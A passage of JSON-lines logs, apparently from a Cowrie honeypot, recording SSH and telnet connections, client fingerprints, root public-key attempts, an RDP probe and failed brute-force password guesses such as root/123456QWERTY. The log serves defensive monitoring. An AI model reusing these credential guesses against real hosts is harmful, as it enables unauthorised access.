AAAAB3NzaC1yc2EAAAADAQABAAACAQC8lZtXpr1UxqazYp1QqtPGHLUd3q4M3RGBreocre6hx45KclETjnRgn12PzhGxc0T41cbP+sHtXSecGTZpF6RvY2HV/ZlRn44LKzbOESqPGYqTiLJX8gEALJeJEFeQz5mIcC8IdIXBwEjaS9wr/ufQGJWaSlPkAJ4EfM1se3PRhUNJm48iqE6Ul3f/sC2MBTMdfkUjASNHeXyeDPGCIP+nKI6E6Am4WsY/95d++XRlOZTkbbJxZJyU3niUsg617u/BeGjN8OlY0fgnGk8ElC/YvDy5QvUK6i3u2/fq0a/k8GvhLiySJ7eEzdEcNCJJfEqYUfb/5DKABf+vjbIpa4spsoiQMsp5JXH+myLmvClBXXi05Cxix3pvqMDmdnQ+K2sLv2zCFd3GDToWEIAZi3ca1V7M3YUUJGsEd/RmL8L2D+bpuJz5Tki+eB3OPj07EDREuz/ZX0lX4NRUt7GTeSpp90qQRYyqdj/+TZluZmjkhqvptKL1bghdRsexweorrgDia6QbXqMjHlmlzFbwQge2AKZmMAAds/fv+Cv0PA4IiiwrBVFn/CiI7DJA1OSlNKzaj+/Ui5CsAlbLf3EaJxfgwIHzkd9QpuS3KzlFc27uP8W8JRnDXE953dpLff4mwBSz88K3lk1fz6yH0pDAa4wYXzPfNXKaXUykGvetzi9FBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:23:30:d1:a9:ff:b2:d6:6f:4a:2c:1c:bd:9a:1a:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.054975Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:23:30:d1:a9:ff:b2:d6:6f:4a:2c:1c:bd:9a:1a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8lZtXpr1UxqazYp1QqtPGHLUd3q4M3RGBreocre6hx45KclETjnRgn12PzhGxc0T41cbP+sHtXSecGTZpF6RvY2HV/ZlRn44LKzbOESqPGYqTiLJX8gEALJeJEFeQz5mIcC8IdIXBwEjaS9wr/ufQGJWaSlPkAJ4EfM1se3PRhUNJm48iqE6Ul3f/sC2MBTMdfkUjASNHeXyeDPGCIP+nKI6E6Am4WsY/95d++XRlOZTkbbJxZJyU3niUsg617u/BeGjN8OlY0fgnGk8ElC/YvDy5QvUK6i3u2/fq0a/k8GvhLiySJ7eEzdEcNCJJfEqYUfb/5DKABf+vjbIpa4spsoiQMsp5JXH+myLmvClBXXi05Cxix3pvqMDmdnQ+K2sLv2zCFd3GDToWEIAZi3ca1V7M3YUUJGsEd/RmL8L2D+bpuJz5Tki+eB3OPj07EDREuz/ZX0lX4NRUt7GTeSpp90qQRYyqdj/+TZluZmjkhqvptKL1bghdRsexweorrgDia6QbXqMjHlmlzFbwQge2AKZmMAAds/fv+Cv0PA4IiiwrBVFn/CiI7DJA1OSlNKzaj+/Ui5CsAlbLf3EaJxfgwIHzkd9QpuS3KzlFc27uP8W8JRnDXE953dpLff4mwBSz88K3lk1fz6yH0pDAa4wYXzPfNXKaXUykGvetzi9FBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.059006Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:42:2c:2d:cc:33:4b:39:be:e4:33:61:c0:10:0f:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDidMLLTaoY6D3OqQRxTQVZpPNFjlsk5x09LLAAfAStHrAVT8IVmnNC97fKxTTE5/wZidGLhrLmgCWOdARpOIOOz+W3W3WXYSuULVLupmqOKud4CgLUAJLANYzCb5rGiteIl7bh/W0n5eZTsqLSIfpHqE4kxDSb8edhVdCf1UdZhcOs0XDSp96UefiKI0tUs+qdzdHHWqozsRFrIiBLfFTIVts27IVFsg6fgAZYjo0TOceA1+wsyrkfv0/hYL4AkkwqMibSqvjZDHCw0PyF4SWomBhZLUvEQFbSYQbx86DOPuWASOy9ZIJu3yA5Zhq4nuzEso3Frgf6T3RwVyV/Ee88HCeaI3SljpPEdA/2tcj30Imm3gXPYI3mc8pM8xwov39qsnzc37uGTAB5zmLQhym7BvaEo1O+6olXkmU2EZ2aMAIJYPmwntdBUZoIqSPE4EJ8n5Gjgw41XjtwRYrUSN8BmK/zWBq5NJq8iNzr0mYVeWzCu7e7Qokseo2U26hXI5BDa20jwxqocno6NqY4ft+1Xucdsfa+ffEJ2KF2M8GhEWdxXKrwnotc3qgmu1ZE4qUp8RNU3WkWclflsZGro36WUUjb+f8NAhrJBpkEr/2NUwsZn0QYb9C7wrOw/bMYyWYb4gr8lcFw32ZYUAcnQ46+nUAXwHuD3uH7Xyl2sWfIIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:42:2c:2d:cc:33:4b:39:be:e4:33:61:c0:10:0f:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.068073Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:42:2c:2d:cc:33:4b:39:be:e4:33:61:c0:10:0f:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDidMLLTaoY6D3OqQRxTQVZpPNFjlsk5x09LLAAfAStHrAVT8IVmnNC97fKxTTE5/wZidGLhrLmgCWOdARpOIOOz+W3W3WXYSuULVLupmqOKud4CgLUAJLANYzCb5rGiteIl7bh/W0n5eZTsqLSIfpHqE4kxDSb8edhVdCf1UdZhcOs0XDSp96UefiKI0tUs+qdzdHHWqozsRFrIiBLfFTIVts27IVFsg6fgAZYjo0TOceA1+wsyrkfv0/hYL4AkkwqMibSqvjZDHCw0PyF4SWomBhZLUvEQFbSYQbx86DOPuWASOy9ZIJu3yA5Zhq4nuzEso3Frgf6T3RwVyV/Ee88HCeaI3SljpPEdA/2tcj30Imm3gXPYI3mc8pM8xwov39qsnzc37uGTAB5zmLQhym7BvaEo1O+6olXkmU2EZ2aMAIJYPmwntdBUZoIqSPE4EJ8n5Gjgw41XjtwRYrUSN8BmK/zWBq5NJq8iNzr0mYVeWzCu7e7Qokseo2U26hXI5BDa20jwxqocno6NqY4ft+1Xucdsfa+ffEJ2KF2M8GhEWdxXKrwnotc3qgmu1ZE4qUp8RNU3WkWclflsZGro36WUUjb+f8NAhrJBpkEr/2NUwsZn0QYb9C7wrOw/bMYyWYb4gr8lcFw32ZYUAcnQ46+nUAXwHuD3uH7Xyl2sWfIIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.071696Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:ba:04:ec:c2:52:d4:18:54:fc:73:fb:4a:26:d3:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5L1VUm1RCFLBZXYtdgZFEa5hO7acELfYMKkbVMpYpgRuQC3QxaWu1eRusODZndRYjIGTCEc5CVx+3ATSY4U5ZU0XjqE1aWuHqlCorslcnJLligEqD0naJh5HSbir0/Nzb+TgMGRk4tiePKtRlr8ghaIbaQAI709z3wrcGCHKYR3IUmDux8kCbEmy5ahXc03uysS+JYKbhmgbY5Ma2Ms8dd6e89+uaK0F2hEzJfCa8k85VL1AZOWuwPXt5ejMDwbNpC+v0oeEFXn9pXQ6Y4jb4GSpV32OOIBLIV9I4Y1FIO9YTHLWKDkL2KUG24HjIoY61ngJYNlAMkweQfWuzIZg7R3sxT8CymkaARYhRnqRbehw7/7cnSPEyEdOBmHZD6nwtkMVu31XYL44RpQhS4nlKjT0OeSUM2AH7kElF8rjCnbKPptQn/KUCmyFzYRMwP2QbTBymSRduEgi87isVOBYqC9+OrXgoy/LlNwHPV5AgwUEdxgcY/dzXtk5Fn7qZ8Ls4TmQ8gz8sHzkxOM2MCdpvVCjYOBXghW6en7l+lvJHHf789pSfIt4GhizJXnkcyZ1OVOA5YisQfNF8bgoM2MwFs6I2qeNm4AoGZm5cWRIR/3Y2m9PnaHMkUrZcWurkzu1RU2AFR5dBIuRPTGVoNldNaJk/F3SO2qtDBHX8yiJjJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:ba:04:ec:c2:52:d4:18:54:fc:73:fb:4a:26:d3:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.079684Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:ba:04:ec:c2:52:d4:18:54:fc:73:fb:4a:26:d3:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD5L1VUm1RCFLBZXYtdgZFEa5hO7acELfYMKkbVMpYpgRuQC3QxaWu1eRusODZndRYjIGTCEc5CVx+3ATSY4U5ZU0XjqE1aWuHqlCorslcnJLligEqD0naJh5HSbir0/Nzb+TgMGRk4tiePKtRlr8ghaIbaQAI709z3wrcGCHKYR3IUmDux8kCbEmy5ahXc03uysS+JYKbhmgbY5Ma2Ms8dd6e89+uaK0F2hEzJfCa8k85VL1AZOWuwPXt5ejMDwbNpC+v0oeEFXn9pXQ6Y4jb4GSpV32OOIBLIV9I4Y1FIO9YTHLWKDkL2KUG24HjIoY61ngJYNlAMkweQfWuzIZg7R3sxT8CymkaARYhRnqRbehw7/7cnSPEyEdOBmHZD6nwtkMVu31XYL44RpQhS4nlKjT0OeSUM2AH7kElF8rjCnbKPptQn/KUCmyFzYRMwP2QbTBymSRduEgi87isVOBYqC9+OrXgoy/LlNwHPV5AgwUEdxgcY/dzXtk5Fn7qZ8Ls4TmQ8gz8sHzkxOM2MCdpvVCjYOBXghW6en7l+lvJHHf789pSfIt4GhizJXnkcyZ1OVOA5YisQfNF8bgoM2MwFs6I2qeNm4AoGZm5cWRIR/3Y2m9PnaHMkUrZcWurkzu1RU2AFR5dBIuRPTGVoNldNaJk/F3SO2qtDBHX8yiJjJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.083306Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.090839Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.293790102005005,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:27.681552Z","src_ip":"201.205.247.46","session":"9c598563220c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":34002,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4f29c9bdfd1","protocol":"ssh","message":"New connection: 43.128.102.61:34002 (10.17.0.5:22) [session: a4f29c9bdfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:31.379562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:31.383730Z","src_ip":"43.128.102.61","session":"a4f29c9bdfd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35620,"dst_ip":"10.17.0.5","dst_port":22,"session":"823cb3ae4bf4","protocol":"ssh","message":"New connection: 80.94.92.184:35620 (10.17.0.5:22) [session: 823cb3ae4bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:31.551641Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:31.621710Z","src_ip":"43.128.102.61","session":"a4f29c9bdfd1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:31.792536Z","src_ip":"80.94.92.184","session":"823cb3ae4bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:31.796627Z","src_ip":"80.94.92.184","session":"823cb3ae4bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:32.367960Z","src_ip":"80.94.92.184","session":"823cb3ae4bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangwei","message":"login attempt [root/zhangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:32.608916Z","src_ip":"43.128.102.61","session":"a4f29c9bdfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:33.849072Z","src_ip":"43.128.102.61","session":"a4f29c9bdfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:33.868781Z","src_ip":"80.94.92.184","session":"823cb3ae4bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50602,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f0c032a552","protocol":"ssh","message":"New connection: 152.42.212.128:50602 (10.17.0.5:22) [session: 19f0c032a552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:45.000619Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:45.011317Z","src_ip":"152.42.212.128","session":"19f0c032a552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:45.016874Z","src_ip":"152.42.212.128","session":"19f0c032a552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54417,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ca13c84ea6f","protocol":"ssh","message":"New connection: 167.172.81.52:54417 (10.17.0.5:22) [session: 1ca13c84ea6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:53.313282Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:53.434104Z","src_ip":"167.172.81.52","session":"1ca13c84ea6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:53.441983Z","src_ip":"167.172.81.52","session":"1ca13c84ea6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":53364,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e549abf4e8","protocol":"ssh","message":"New connection: 45.148.10.121:53364 (10.17.0.5:22) [session: 62e549abf4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:04.101875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:04.113373Z","src_ip":"45.148.10.121","session":"62e549abf4e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:04.202760Z","src_ip":"45.148.10.121","session":"62e549abf4e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":56100,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0c98249603b","protocol":"ssh","message":"New connection: 181.188.176.245:56100 (10.17.0.5:22) [session: a0c98249603b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:06.827821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:06.834075Z","src_ip":"181.188.176.245","session":"a0c98249603b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:07.002598Z","src_ip":"181.188.176.245","session":"a0c98249603b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:07.716944Z","src_ip":"181.188.176.245","session":"a0c98249603b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:08.889041Z","src_ip":"181.188.176.245","session":"a0c98249603b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":37028,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ee20d33d48b","protocol":"ssh","message":"New connection: 43.128.102.61:37028 (10.17.0.5:22) [session: 3ee20d33d48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:50.257673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:50.261915Z","src_ip":"43.128.102.61","session":"3ee20d33d48b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:50.507287Z","src_ip":"43.128.102.61","session":"3ee20d33d48b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456QWERTY","message":"login attempt [root/123456QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:51.521389Z","src_ip":"43.128.102.61","session":"3ee20d33d48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":53302,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e32d2371e2c","protocol":"ssh","message":"New connection: 37.233.85.71:53302 (159.203.135.109:22) [session: 5e32d2371e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:51.896610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:04:51.901335Z","src_ip":"37.233.85.71","session":"5e32d2371e2c","protocol":"ssh"}
